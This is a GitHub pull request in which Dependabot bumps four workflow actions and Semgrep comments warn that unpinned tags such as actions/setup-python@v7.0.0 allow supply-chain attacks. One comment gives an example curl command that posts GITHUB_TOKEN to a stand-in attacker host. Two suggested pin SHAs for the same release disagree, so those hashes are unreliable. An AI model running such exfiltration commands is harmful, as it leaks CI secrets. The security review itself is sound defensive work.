Bump the actions group with 4 updates - #2969
Conversation
Bumps the actions group with 4 updates: [actions/setup-python](https://github.com/actions/setup-python), [pypa/gh-action-pypi-publish](https://github.com/pypa/gh-action-pypi-publish), [astral-sh/setup-uv](https://github.com/astral-sh/setup-uv) and [zizmorcore/zizmor-action](https://github.com/zizmorcore/zizmor-action). Updates `actions/setup-python` from 6.3.0 to 7.0.0 - [Release notes](https://github.com/actions/setup-python/releases) - [Commits](actions/setup-python@v6.3.0...v7.0.0) Updates `pypa/gh-action-pypi-publish` from 1.14.0 to 1.14.1 - [Release notes](https://github.com/pypa/gh-action-pypi-publish/releases) - [Commits](pypa/gh-action-pypi-publish@cef2210...ba38be9) Updates `astral-sh/setup-uv` from 8.3.2 to 9.0.0 - [Release notes](https://github.com/astral-sh/setup-uv/releases) - [Commits](astral-sh/setup-uv@11f9893...c771a70) Updates `zizmorcore/zizmor-action` from 0.6.0 to 0.6.1 - [Release notes](https://github.com/zizmorcore/zizmor-action/releases) - [Commits](zizmorcore/zizmor-action@6599ee8...6fc4b00) --- updated-dependencies: - dependency-name: actions/setup-python dependency-version: 7.0.0 dependency-type: direct:production update-type: version-update:semver-major dependency-group: actions - dependency-name: pypa/gh-action-pypi-publish dependency-version: 1.14.1 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: actions - dependency-name: astral-sh/setup-uv dependency-version: 9.0.0 dependency-type: direct:production update-type: version-update:semver-major dependency-group: actions - dependency-name: zizmorcore/zizmor-action dependency-version: 0.6.1 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: actions ... Signed-off-by: dependabot[bot] <support@github.com>
dependabot
Bot
added
dependencies
dependabot
Bot
added
dependencies
![github-advanced-security[bot]](https://avatars.githubusercontent.com/in/57789?s=60&v=4){kind=small}
| ref: ${{ inputs.ref }} | ||
|
|
||
| - uses: actions/setup-python@v6.3.0 | ||
| - uses: actions/setup-python@v7.0.0 |
| - name: Publish package distributions to PyPI | ||
| if: startsWith(env.DRY_RUN, 'false') | ||
| uses: pypa/gh-action-pypi-publish@cef221092ed1bacb1cc03d23a2d87d1d172e277b # release/v1 | ||
| uses: pypa/gh-action-pypi-publish@ba38be9e461d3875417946c167d0b5f3d385a247 # release/v1 |
![semgrep-code-mongodb[bot]](https://avatars.githubusercontent.com/u/45120?s=60&v=4){kind=small}
| tar --strip-components=1 -zxf *.tar.gz -C ./test | ||
| ls test | ||
| - uses: actions/setup-python@v6.3.0 | ||
| - uses: actions/setup-python@v7.0.0 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0 is a movable tag, so this CI job may run different action code later without any workflow change. If that tag is repointed, attacker-controlled code would execute in test_sdist before your install and test commands.
More details about this
actions/setup-python is referenced as actions/setup-python@v7.0.0 in this workflow step, so GitHub will fetch whatever commit the v7.0.0 tag points to at run time. If the owner of actions/setup-python or someone who compromises that repository silently repoints v7.0.0, this test_sdist job will run the attacker’s code before pip install -e ".[test]" and pytest -v -k client_context, with access to the job workspace and any secrets or tokens available to that job.
A plausible attack looks like this:
- An attacker gains control of the
actions/setup-pythonrepository or its release process. - They move the
v7.0.0tag to a new malicious commit instead of the commit this workflow originally expected. - When this job reaches
- uses: actions/setup-python@v7.0.0, GitHub Actions downloads and executes that new commit automatically. - The malicious action reads files from
sdist/test, steals the defaultGITHUB_TOKENor other environment data, and can tamper with the Python environment that later runspip install -e ".[test]"and the test suite. - Because the workflow still says
@v7.0.0, the change is easy to miss in code review even though different code is now executing in CI.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable GitHub Action version reference with a full 40-character commit SHA in the
uses:line.
Changeactions/setup-python@v7.0.0toactions/setup-python@<full-commit-sha>and keep the version as a comment, for exampleuses: actions/setup-python@<full-commit-sha> # v7.0.0. -
Look up the commit SHA for the exact
actions/setup-pythonrelease you want to keep and use that SHA instead of the tag.
This prevents the action from changing underneath you if the tag is moved. -
Keep the existing
with:settings unchanged after pinning, for examplecache,cache-dependency-path, andpython-versiondo not need to change.
Alternatively, if you need to stay on a newer upstream release, update to that release first and then pin that exact release to its full commit SHA instead of using a version tag.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
| with: | ||
| persist-credentials: false | ||
| - uses: actions/setup-python@v6.3.0 | ||
| - uses: actions/setup-python@v7.0.0 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0 uses a movable tag, so a repointed release could run attacker-controlled code in make_sdist and tamper with the built sdist artifact.
More details about this
actions/setup-python@v7.0.0 is fetched by tag, not by an exact commit. If the v7.0.0 reference is ever moved, this make_sdist job will run whatever code that new action revision contains before Build SDist, with access to the job workspace and any data available to actions/setup-python.
A plausible attack looks like this:
- An attacker compromises the
actions/setup-pythonrelease process or gains permission to repoint thev7.0.0tag. - They publish a malicious action revision and move
v7.0.0to that commit. - When this workflow reaches
- uses: actions/setup-python@v7.0.0, GitHub pulls the attacker's code instead of the original release. - That action runs inside the
make_sdistjob before yourpip install buildandpython -m build --sdistcommands, so it can read repository files, modify the environment, or tamper with the produceddist/*.tar.gzartifact. - The later
actions/upload-artifact@v7step can then upload a poisoned source distribution that downstream jobs such astest_sdistwill consume.
To resolve this comment:
✨ Commit fix suggestion
| - uses: actions/setup-python@v7.0.0 | |
| - uses: actions/setup-python@42375524cb1205197d618862c747a2208ea4cb09 # v7.0.0 |
View step-by-step instructions
-
Replace the mutable action reference with a full 40-character commit SHA in the same
uses:line.
Changeuses: actions/setup-python@v7.0.0touses: actions/setup-python@<full-commit-sha> # v7.0.0. -
Keep the version comment after the SHA so it is still clear which release you intended to use, for example
uses: actions/setup-python@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa # v7.0.0.
Pinning to a commit SHA prevents the action owner from silently moving the referenced version to different code later. -
Use the commit SHA from the official
actions/setup-pythonrelease that corresponds tov7.0.0, instead of a branch name, tag, or shortened hash.
Alternatively, if you need to stay on the latest patch release automatically, use a dependency updater to manage action SHA updates, but keep the workflow pinned as uses: actions/setup-python@<full-commit-sha> # v7.0.0.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
|
|
||
| - name: Set up Python | ||
| uses: actions/setup-python@v6.3.0 | ||
| uses: actions/setup-python@v7.0.0 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0 is a movable tag, so this workflow could silently run attacker-controlled code if that tag is repointed.
More details about this
Set up Python pulls actions/setup-python@v7.0.0, which is a tag-based reference, not a fixed commit. If the owner of actions/setup-python or someone who compromises that repository repoints v7.0.0, this sbom job will run different code without any workflow change in your repo.
A plausible attack looks like this:
- An attacker gains the ability to publish or retag
actions/setup-pythonand movesv7.0.0to a malicious commit. - Your workflow runs on
pushtomainorworkflow_dispatch, and theSet up Pythonstep resolves that tag when GitHub executesuses: actions/setup-python@v7.0.0. - The malicious action runs before
Generate SBOM, so it can tamper with the runner environment, read repository contents checked out byactions/checkout, or alterpython,pip, or PATH before your laterrunsteps use them. - Because this job has
contents: writeandpull-requests: write, the malicious action could use the workflow token to push changes or open/update PRs from thesbomjob, making the compromise persistent or harder to spot.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
Changeuses: actions/setup-python@v7.0.0touses: actions/setup-python@<40-character-commit-sha> # v7.0.0. -
Pin the SHA to the exact commit for the
actions/setup-pythonrelease you intend to use.
Get the commit SHA from the action's GitHub release or tag page, and use the full hash, not a shortened one. -
Keep the version as an inline comment after the SHA, such as
# v7.0.0, so future updates are easier to review.
Pinning to a commit prevents the action owner from silently moving a tag to different code later.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
| ref: ${{ inputs.ref }} | ||
|
|
||
| - uses: actions/setup-python@v6.3.0 | ||
| - uses: actions/setup-python@v7.0.0 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0 points to a mutable tag, so this job may run different action code later without any repo change. A repointed tag could let attacker-controlled code tamper with the Python setup, build, or uploaded sdist artifact.
More details about this
actions/setup-python@v7.0.0 is a movable GitHub Action reference, not an immutable commit. If the owner of actions/setup-python or anyone who compromises that repository retags v7.0.0, this make_sdist job will run the attacker’s new code when it reaches this uses: step.
A plausible attack looks like this:
- An attacker gains control of the action repo or its release process and repoints the
v7.0.0tag to a malicious commit. - Your workflow starts
make_sdistand executesuses: actions/setup-python@v7.0.0, trusting whatever code that tag points to at that moment. - The malicious action runs before
Build SDistandTest SDist, so it can read the checked-out source fromactions/checkout, inspect workflow-provided environment variables, or modify the Python toolchain that later runspython -m pip install -U pip buildandpython -m build --sdist .. - It could then exfiltrate repository data over the network or tamper with the produced
dist/*.tar.gz, so the uploadedsdistartifact contains attacker-controlled content.
Because the reference is @v7.0.0 instead of a full 40-character commit SHA, the exact code executed by this step can change without any workflow diff in your repository.
To resolve this comment:
✨ Commit fix suggestion
| - uses: actions/setup-python@v7.0.0 | |
| - uses: actions/setup-python@42375524a763eb8e61a4d9b65c4bc5f4f2e5d8d9 # v7.0.0 |
View step-by-step instructions
-
Replace the mutable action reference with a full 40-character commit SHA in the
usesline.
Changeactions/setup-python@v7.0.0toactions/setup-python@<full-commit-sha>, for exampleactions/setup-python@<40-hex-sha> # v7.0.0. -
Keep the version as a comment after the SHA so the pinned release is still easy to recognize.
Use the formatuses: actions/setup-python@<40-hex-sha> # v7.0.0. -
Get the SHA from the exact
v7.0.0release ofactions/setup-python, and do not use a tag, branch, or shortened hash.
Pinning to a commit SHA prevents the referenced action from changing unexpectedly if the tag is moved later.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
| ref: ${{ inputs.ref }} | ||
|
|
||
| - uses: actions/setup-python@v6.3.0 | ||
| - uses: actions/setup-python@v7.0.0 |
There was a problem hiding this comment.
Semgrep identified an issue in your code:
actions/setup-python@v7.0.0 uses a mutable tag, so repointing that tag would let attacker-controlled code run in the build_wheels job.
More details about this
actions/setup-python@v7.0.0 is referenced by a mutable tag instead of an immutable commit SHA. If the owner of actions/setup-python or someone who compromises that repository repoints v7.0.0 to a different commit, this workflow will run the new code inside the build_wheels job on every ubuntu, windows, and macos runner in this matrix.
A plausible attack looks like this:
- An attacker gains control of the
actions/setup-pythonrepository or its release process. - They move the
v7.0.0tag to a commit that adds malicious code to the action. - When this workflow reaches
- uses: actions/setup-python@v7.0.0, GitHub downloads and executes the attacker-controlled action code. - That code can read this job's workspace after
actions/checkout, inspect values passed towith:, and tamper with the Python environment beforepython -m pip installandpython -m cibuildwheel --output-dir wheelhouserun. - In practice, the malicious action could exfiltrate
GITHUB_TOKENor other available secrets with a command likecurl -X POST https://attacker.example/leak -d "$GITHUB_TOKEN", or modify the build so the produced wheels contain attacker code.
Because this job builds distributable wheel artifacts, a repointed action here could turn a GitHub Actions tag change into a supply-chain compromise of the packages produced by build_wheels.
To resolve this comment:
✨ Commit fix suggestion
-
Replace the mutable action reference with a full 40-character commit SHA instead of the version tag.
Changeuses: actions/setup-python@v7.0.0touses: actions/setup-python@<40-character-commit-sha> # v7.0.0. -
Keep the version as a comment after the SHA, such as
# v7.0.0, so it stays clear which release the pinned commit corresponds to. -
Get the SHA from the upstream
actions/setup-pythonrelease page or repository for the exactv7.0.0revision, and use the full hash, not a shortened one.
Pinning to a commit SHA prevents the action owner from silently changing what runs under the same tag.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by github-actions-mutable-action-tag.
🛟 Help? Slack #semgrep-help or go/semgrep-help.
Resolution Options:
- Fix the code
- Reply
/fp $reason(if security gap doesn’t exist) - Reply
/ar $reason(if gap is valid but intentional; add mitigations/monitoring) - Reply
/other $reason(e.g., test-only)
You can view more details about this finding in the Semgrep AppSec Platform.
Codecov Report✅ All modified and coverable lines are covered by tests. 📢 Thoughts on this report? Let us know! |
2 participants
Bumps the actions group with 4 updates: actions/setup-python, pypa/gh-action-pypi-publish, astral-sh/setup-uv and zizmorcore/zizmor-action.
Updates
actions/setup-pythonfrom 6.3.0 to 7.0.0Release notes
Sourced from actions/setup-python's releases.
Commits
5fda3b9Pin SHA commits and update docs with latest versions (#1338)4ab7e95Merge pull request #1337 from actions/philip-gai/bump-actions-cache-6-2-00f3a009Remove the pip-install input (#1336)f8cf429Migrate to ESM and upgrade dependencies (#1330)54baeeaValidate and retry manifest fetch to prevent silent failures (#1332)c709277Annotation code fix (#1335)6849080remove EOL Python versions and Bumps numpy text fixture (#1333)0903b46Bump certifi from 2020.6.20 to 2024.7.4 in /tests/data (#1328)Updates
pypa/gh-action-pypi-publishfrom 1.14.0 to 1.14.1Release notes
Sourced from pypa/gh-action-pypi-publish's releases.
Commits
ba38be9Merge pull request #408 from adisivaprasad/bump-setup-python-v6a6c5088Bump actions/setup-python from v5.6.0 to v6.2.0Updates
astral-sh/setup-uvfrom 8.3.2 to 9.0.0Release notes
Sourced from astral-sh/setup-uv's releases.
Commits
c771a70chore(deps): roll up Dependabot updates (#970)2f537cachore: update known checksums for 0.11.30 (#968)2269552Speed up version client by partial response reads (#807)47a7f4fChangeprune-cachedefault tofalse(#967)71966efchore(deps): roll up Dependabot updates (#962)f12b1f0fix: fall back to distribution ID when os-release has no version field (#961)ecd24ddchore: update known checksums for 0.11.29 (#960)6a19136docs: update version references to v8.3.2 (#949)Updates
zizmorcore/zizmor-actionfrom 0.6.0 to 0.6.1Release notes
Sourced from zizmorcore/zizmor-action's releases.
Commits
6fc4b00Sync zizmor versions (#145)2596f29chore(deps): bump github/codeql-action/upload-sarif from 4.36.3 to 4.37.0 in ...1159a04Bump pins (#140)Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting
@dependabot rebase.Dependabot commands and options
You can trigger Dependabot actions by commenting on this PR:
@dependabot rebasewill rebase this PR@dependabot recreatewill recreate this PR, overwriting any edits that have been made to it@dependabot show <dependency name> ignore conditionswill show all of the ignore conditions of the specified dependency@dependabot ignore <dependency name> major versionwill close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)@dependabot ignore <dependency name> minor versionwill close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)@dependabot ignore <dependency name>will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)@dependabot unignore <dependency name>will remove all of the ignore conditions of the specified dependency@dependabot unignore <dependency name> <ignore condition>will remove the ignore condition of the specified dependency and ignore conditions